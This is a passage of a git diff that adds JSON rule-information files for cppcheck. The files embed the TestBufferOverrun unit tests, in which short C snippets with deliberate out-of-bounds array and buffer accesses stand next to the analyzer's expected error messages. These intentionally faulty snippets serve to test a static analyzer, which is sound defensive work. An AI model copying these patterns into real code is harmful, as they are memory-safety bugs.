ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \"char pipefd[2];\\n\"\n \"if (pipe((int*)pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Buffer is accessed out of bounds: (int*)pipefd [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \"char pipefd[20];\\n\" // Strange, but large enough\n \"if (pipe((int*)pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBufferOverrun)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/bufferOverflow.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/bufferOverflow.json new file mode 100644 index 0000000..3657c1e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/bufferOverflow.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverflow", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 54, + "branches": 21, + "apis": 58, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/negativeArraySize.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/negativeArraySize.json new file mode 100644 index 0000000..0ab3589 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/negativeArraySize.json @@ -0,0 +1,22 @@ +{ + "name": "negativeArraySize", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 27, + "branches": 9, + "apis": 34, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 5205 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n\n#include \"check.h\"\n#include \"checkbufferoverrun.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"fixture.h\"\n\n#include \n#include \n#include \n\nclass TestBufferOverrun : public TestFixture {\npublic:\n TestBufferOverrun() : TestFixture(\"TestBufferOverrun\") {}\n\nprivate:\n /*const*/ Settings settings0 = settingsBuilder().library(\"std.cfg\").severity(Severity::warning).severity(Severity::style).severity(Severity::portability).build();\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings = options.s ? *options.s : settingsBuilder(settings0).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for buffer overruns..\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n const Settings settings = settingsBuilder(settings0).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for buffer overruns..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for buffer overruns..\n runChecks(tokenizer, this);\n }\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(noerr1);\n TEST_CASE(noerr2);\n TEST_CASE(noerr3);\n TEST_CASE(noerr4);\n\n TEST_CASE(sizeof3);\n\n TEST_CASE(array_index_1);\n TEST_CASE(array_index_2);\n TEST_CASE(array_index_3);\n TEST_CASE(array_index_4);\n TEST_CASE(array_index_6);\n TEST_CASE(array_index_7);\n TEST_CASE(array_index_11);\n TEST_CASE(array_index_12);\n TEST_CASE(array_index_13);\n TEST_CASE(array_index_14);\n TEST_CASE(array_index_15);\n TEST_CASE(array_index_16);\n TEST_CASE(array_index_17);\n TEST_CASE(array_index_18);\n TEST_CASE(array_index_19);\n TEST_CASE(array_index_20);\n TEST_CASE(array_index_21);\n TEST_CASE(array_index_22);\n TEST_CASE(array_index_23);\n TEST_CASE(array_index_24); // ticket #1492 and #1539\n TEST_CASE(array_index_25); // ticket #1536\n TEST_CASE(array_index_26);\n TEST_CASE(array_index_27);\n TEST_CASE(array_index_28); // ticket #1418\n TEST_CASE(array_index_29); // ticket #1734\n TEST_CASE(array_index_30); // ticket #2086 - out of bounds when type is unknown\n TEST_CASE(array_index_31); // ticket #2120 - out of bounds in subfunction when type is unknown\n TEST_CASE(array_index_32);\n TEST_CASE(array_index_33); // ticket #3044\n TEST_CASE(array_index_34); // ticket #3063\n TEST_CASE(array_index_35); // ticket #2889\n TEST_CASE(array_index_36); // ticket #2960\n TEST_CASE(array_index_37);\n TEST_CASE(array_index_38); // ticket #3273\n TEST_CASE(array_index_39);\n TEST_CASE(array_index_40); // loop variable calculation, taking address\n TEST_CASE(array_index_41); // structs with the same name\n TEST_CASE(array_index_42);\n TEST_CASE(array_index_43); // struct with array\n TEST_CASE(array_index_44); // #3979\n TEST_CASE(array_index_45); // #4207 - calling function with variable number of parameters (...)\n TEST_CASE(array_index_46); // #4840 - two-statement for loop\n TEST_CASE(array_index_47); // #5849\n TEST_CASE(array_index_48); // #9478\n TEST_CASE(array_index_49); // #8653\n TEST_CASE(array_index_50);\n TEST_CASE(array_index_51); // #3763\n TEST_CASE(array_index_52); // #7682\n TEST_CASE(array_index_53); // #4750\n TEST_CASE(array_index_54); // #10268\n TEST_CASE(array_index_55); // #10254\n TEST_CASE(array_index_56); // #10284\n TEST_CASE(array_index_57); // #10023\n TEST_CASE(array_index_58); // #7524\n TEST_CASE(array_index_59); // #10413\n TEST_CASE(array_index_60); // #10617, #9824\n TEST_CASE(array_index_61); // #10621\n TEST_CASE(array_index_62); // #7684\n TEST_CASE(array_index_63); // #10979\n TEST_CASE(array_index_64); // #10878\n TEST_CASE(array_index_65); // #11066\n TEST_CASE(array_index_66); // #10740\n TEST_CASE(array_index_67); // #1596\n TEST_CASE(array_index_68); // #6655\n TEST_CASE(array_index_69); // #6370\n TEST_CASE(array_index_70); // #11355\n TEST_CASE(array_index_71); // #11461\n TEST_CASE(array_index_72); // #11784\n TEST_CASE(array_index_73); // #11530\n TEST_CASE(array_index_74); // #11088\n TEST_CASE(array_index_75);\n TEST_CASE(array_index_76);\n TEST_CASE(array_index_multidim);\n TEST_CASE(array_index_switch_in_for);\n TEST_CASE(array_index_for_in_for); // FP: #2634\n TEST_CASE(array_index_bounds);\n TEST_CASE(array_index_calculation);\n TEST_CASE(array_index_negative1);\n TEST_CASE(array_index_negative2); // ticket #3063\n TEST_CASE(array_index_negative3);\n TEST_CASE(array_index_negative4);\n TEST_CASE(array_index_negative5); // #10526\n TEST_CASE(array_index_negative6); // #11349\n TEST_CASE(array_index_negative7); // #5685\n TEST_CASE(array_index_negative8); // #11651\n TEST_CASE(array_index_negative9);\n TEST_CASE(array_index_negative10);\n TEST_CASE(array_index_for_decr);\n TEST_CASE(array_index_varnames); // FP: struct member #1576, FN: #1586\n TEST_CASE(array_index_for_continue); // for,continue\n TEST_CASE(array_index_for); // FN: for,if\n TEST_CASE(array_index_for_neq); // #2211: Using != in condition\n TEST_CASE(array_index_for_question); // #2561: for, ?:\n TEST_CASE(array_index_for_andand_oror); // FN: using && or || in the for loop condition\n TEST_CASE(array_index_for_varid0); // #4228: No varid for counter variable\n TEST_CASE(array_index_vla_for); // #3221: access VLA inside for\n TEST_CASE(array_index_extern); // FP when using 'extern'. #1684\n TEST_CASE(array_index_cast); // FP after cast. #2841\n TEST_CASE(array_index_string_literal);\n TEST_CASE(array_index_same_struct_and_var_name); // #4751 - not handled well when struct name and var name is same\n TEST_CASE(array_index_valueflow);\n TEST_CASE(array_index_valueflow_pointer);\n TEST_CASE(array_index_function_parameter);\n TEST_CASE(array_index_enum_array); // #8439\n TEST_CASE(array_index_container); // #9386\n TEST_CASE(array_index_two_for_loops);\n TEST_CASE(array_index_new); // #7690\n\n TEST_CASE(buffer_overrun_2_struct);\n TEST_CASE(buffer_overrun_3);\n TEST_CASE(buffer_overrun_4);\n TEST_CASE(buffer_overrun_5);\n TEST_CASE(buffer_overrun_6);\n TEST_CASE(buffer_overrun_7);\n TEST_CASE(buffer_overrun_8);\n TEST_CASE(buffer_overrun_9);\n TEST_CASE(buffer_overrun_10);\n TEST_CASE(buffer_overrun_11);\n TEST_CASE(buffer_overrun_15); // ticket #1787\n TEST_CASE(buffer_overrun_16);\n TEST_CASE(buffer_overrun_18); // ticket #2576 - for, calculation with loop variable\n TEST_CASE(buffer_overrun_19); // #2597 - class member with unknown type\n TEST_CASE(buffer_overrun_21);\n TEST_CASE(buffer_overrun_24); // index variable is changed in for-loop\n TEST_CASE(buffer_overrun_26); // #4432 (segmentation fault)\n TEST_CASE(buffer_overrun_27); // #4444 (segmentation fault)\n TEST_CASE(buffer_overrun_29); // #7083: false positive: typedef and initialization with strings\n TEST_CASE(buffer_overrun_30); // #6367\n TEST_CASE(buffer_overrun_31);\n TEST_CASE(buffer_overrun_32); //#10244\n TEST_CASE(buffer_overrun_33); //#2019\n TEST_CASE(buffer_overrun_34); //#11035\n TEST_CASE(buffer_overrun_35); //#2304\n TEST_CASE(buffer_overrun_36);\n TEST_CASE(buffer_overrun_errorpath);\n TEST_CASE(buffer_overrun_bailoutIfSwitch); // ticket #2378 : bailoutIfSwitch\n TEST_CASE(buffer_overrun_function_array_argument);\n TEST_CASE(possible_buffer_overrun_1); // #3035\n TEST_CASE(buffer_overrun_readSizeFromCfg);\n\n TEST_CASE(valueflow_string); // using ValueFlow string values in checking\n\n // It is undefined behaviour to point out of bounds of an array\n // the address beyond the last element is in bounds\n // char a[10];\n // char *p1 = a + 10; // OK\n // char *p2 = a + 11 // UB\n TEST_CASE(pointer_out_of_bounds_1);\n TEST_CASE(pointer_out_of_bounds_2);\n TEST_CASE(pointer_out_of_bounds_3);\n TEST_CASE(pointer_out_of_bounds_4);\n TEST_CASE(pointer_out_of_bounds_5); // #10227\n TEST_CASE(pointer_out_of_bounds_sub);\n\n TEST_CASE(strcat1);\n\n TEST_CASE(varid1);\n TEST_CASE(varid2); // ticket #4764\n\n TEST_CASE(assign1);\n\n TEST_CASE(alloc_new); // Buffer allocated with new\n TEST_CASE(alloc_malloc); // Buffer allocated with malloc\n TEST_CASE(alloc_string); // statically allocated buffer\n TEST_CASE(alloc_alloca); // Buffer allocated with alloca\n\n // TODO TEST_CASE(countSprintfLength);\n TEST_CASE(minsize_argvalue);\n TEST_CASE(minsize_sizeof);\n TEST_CASE(minsize_strlen);\n TEST_CASE(minsize_mul);\n TEST_CASE(unknownType);\n\n TEST_CASE(terminateStrncpy1);\n TEST_CASE(terminateStrncpy2);\n TEST_CASE(terminateStrncpy3);\n TEST_CASE(terminateStrncpy4);\n TEST_CASE(terminateStrncpy5); // #9944\n TEST_CASE(recursive_long_time);\n\n TEST_CASE(crash1); // Ticket #1587 - crash\n TEST_CASE(crash2); // Ticket #3034 - crash\n TEST_CASE(crash3); // Ticket #5426 - crash\n TEST_CASE(crash4); // Ticket #8679 - crash\n TEST_CASE(crash5); // Ticket #8644 - crash\n TEST_CASE(crash6); // Ticket #9024 - crash\n TEST_CASE(crash7); // Ticket #9073 - crash\n\n TEST_CASE(insecureCmdLineArgs);\n TEST_CASE(checkBufferAllocatedWithStrlen);\n\n TEST_CASE(scope); // handling different scopes\n\n TEST_CASE(getErrorMessages);\n\n // Access array and then check if the used index is within bounds\n TEST_CASE(arrayIndexThenCheck);\n TEST_CASE(arrayIndexEarlyReturn); // #6884\n\n TEST_CASE(bufferNotZeroTerminated);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n TEST_CASE(negativeArraySize);\n\n TEST_CASE(pointerAddition1);\n\n TEST_CASE(ctu_malloc);\n TEST_CASE(ctu_array);\n TEST_CASE(ctu_variable);\n TEST_CASE(ctu_arithmetic);\n\n TEST_CASE(objectIndex);\n\n TEST_CASE(checkPipeParameterSize); // ticket #3521\n }\n\n\n\n void noerr1() {\n check(\"extern int ab;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (ab)\\n\"\n \" {\\n\"\n \" char str[50];\\n\"\n \" }\\n\"\n \" if (ab)\\n\"\n \" {\\n\"\n \" char str[50];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void noerr2() {\n check(\"static char buf[2];\\n\"\n \"void f1(char *str)\\n\"\n \"{\\n\"\n \" strcpy(buf,str);\\n\"\n \"}\\n\"\n \"void f2(char *str)\\n\"\n \"{\\n\"\n \" strcat(buf,str);\\n\"\n \"}\\n\"\n \"void f3(char *str)\\n\"\n \"{\\n\"\n \" sprintf(buf,\\\"%s\\\",str);\\n\"\n \"}\\n\"\n \"void f4(const char str[])\\n\"\n \"{\\n\"\n \" strcpy(buf, str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void noerr3() {\n check(\"struct { char data[10]; } abc;\\n\"\n \"static char f()\\n\"\n \"{\\n\"\n \" char data[1];\\n\"\n \" return abc.data[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void noerr4() {\n // The memory isn't read or written and therefore there is no error.\n check(\"static void f() {\\n\"\n \" char data[100];\\n\"\n \" const char *p = data + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeof3() {\n check(\"struct group { int gr_gid; };\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" char group[32];\\n\"\n \" snprintf(group, 32, \\\"%u\\\", 0);\\n\"\n \" struct group *gr;\\n\"\n \" snprintf(group, 32, \\\"%u\\\", gr->gr_gid);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char str[0x10] = {0};\\n\"\n \" str[15] = 0;\\n\"\n \" str[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Array 'str[16]' accessed at index 16, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"char f()\\n\"\n \"{\\n\"\n \" char str[16] = {0};\\n\"\n \" return str[16];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Array 'str[16]' accessed at index 16, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // test stack array\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x[ 3 ] = { 0, 1, 2 };\\n\"\n \" int y;\\n\"\n \" y = x[ 4 ];\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Array 'x[3]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x[ 3 ] = { 0, 1, 2 };\\n\"\n \" int y;\\n\"\n \" y = x[ 2 ];\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x[5] = {0};\\n\"\n \"int a = x[10];\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Array 'x[5]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int x[5] = {0};\\n\"\n \"int a = (x)[10];\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Array 'x[5]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n\n void array_index_2() {\n check(\"void a(int i)\\n\" // valueflow\n \"{\\n\"\n \" char *str = new char[0x10];\\n\"\n \" str[i] = 0;\\n\"\n \"}\\n\"\n \"void b() { a(16); }\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Array 'str[16]' accessed at index 16, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_4() {\n check(\"char c = \\\"abc\\\"[4];\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (error) Array '\\\"abc\\\"[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"p = &\\\"abc\\\"[4];\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char c = \\\"\\\\0abc\\\"[2];\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char c = L\\\"abc\\\"[4];\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (error) Array 'L\\\"abc\\\"[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 0; i < 100; i++)\\n\"\n \" sum += val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Array 'val[50]' accessed at index 99, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; i < 100; i++)\\n\"\n \" sum += val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Array 'val[50]' accessed at index 99, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int a)\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = a; i < 100; i++)\\n\"\n \" sum += val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Array 'val[50]' accessed at index 99, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"typedef struct g g2[3];\\n\"\n \"void foo(char *a)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 4; i++)\\n\"\n \" {\\n\"\n \" a[i]=0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int argc)\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" for (int i = 4; i < argc; i++){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a[10]) {\\n\"\n \" for (int i=0;i<50;++i) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Array 'a[10]' accessed at index 49, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_6() {\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" abc.str[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:12]: (error) Array 'abc.str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static char f()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" return abc.str[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:19]: (error) Array 'abc.str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // This is not out of bounds because it is a variable length array\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // This is not out of bounds because it is not a variable length array\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // This is not out of bounds because it is a variable length array\n // and the index is within the memory allocated.\n /** @todo this works by accident because we ignore any access to this array */\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[10] = 0;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // This is out of bounds because it is outside the memory allocated.\n /** @todo this doesn't work because of a bug in sizeof(struct) */\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[11] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9]: (error) Array 'str[1]' accessed at index 11, which is out of bounds.\\n\", \"\", errout_str());\n\n // This is out of bounds if 'sizeof(ABC)' is 1 (No padding)\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(ABC) + 10);\\n\"\n \" x->str[11] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // This is out of bounds because it is outside the memory allocated\n /** @todo this doesn't work because of a bug in sizeof(struct) */\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC));\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9]: (error) Array 'str[1]' accessed at index 1, which is out of bounds.\\n\", \"\", errout_str());\n\n // This is out of bounds because it is outside the memory allocated\n // But only if 'sizeof(ABC)' is 1 (No padding)\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(ABC));\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // This is out of bounds because it is not a variable array\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC x;\\n\"\n \" x.str[1] = 0;\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (error) Array 'x.str[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct foo\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void x()\\n\"\n \"{\\n\"\n \" foo f;\\n\"\n \" for ( unsigned int i = 0; i < 64; ++i )\\n\"\n \" f.str[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (error) Array 'f.str[10]' accessed at index 63, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct AB { char a[NUM]; char b[NUM]; }\\n\"\n \"void f(struct AB *ab) {\\n\"\n \" ab->a[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union { char a[1]; int b; } ab;\\n\"\n \"void f() {\\n\"\n \" ab.a[2] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Array 'ab.a[1]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n\n void array_index_7() {\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(struct ABC *abc)\\n\"\n \"{\\n\"\n \" abc->str[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (error) Array 'abc->str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_11() {\n check(\"class ABC\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ABC();\\n\"\n \" char *str[10];\\n\"\n \" struct ABC *next();\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(ABC *abc1)\\n\"\n \"{\\n\"\n \" for ( ABC *abc = abc1; abc; abc = abc->next() )\\n\"\n \" {\\n\"\n \" abc->str[10] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:17]: (error) Array 'abc->str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_12() {\n check(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" char str[10];\\n\"\n \"public:\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred()\\n\"\n \"{\\n\"\n \" str[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:8]: (error) Array 'str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" char str[10];\\n\"\n \"public:\\n\"\n \" char c();\\n\"\n \"};\\n\"\n \"char Fred::c()\\n\"\n \"{\\n\"\n \" return str[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (error) Array 'str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_13() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char buf[10];\\n\"\n \" for (int i = 0; i < 100; i++)\\n\"\n \" {\\n\"\n \" if (i < 10)\\n\"\n \" int x = buf[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_14() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i+10] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_15() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[10+i] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_16() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i+1] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_17() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i*2] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 18, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[12];\\n\"\n \" for (int i = 0; i < 12; i+=6)\\n\"\n \" a[i+5] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[12];\\n\"\n \" for (int i = 0; i < 12; i+=6)\\n\"\n \" a[i+6] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[12]' accessed at index 12, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4398\n \" int a[2];\\n\"\n \" for (int i = 0; i < 4; i+=2)\\n\"\n \" a[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 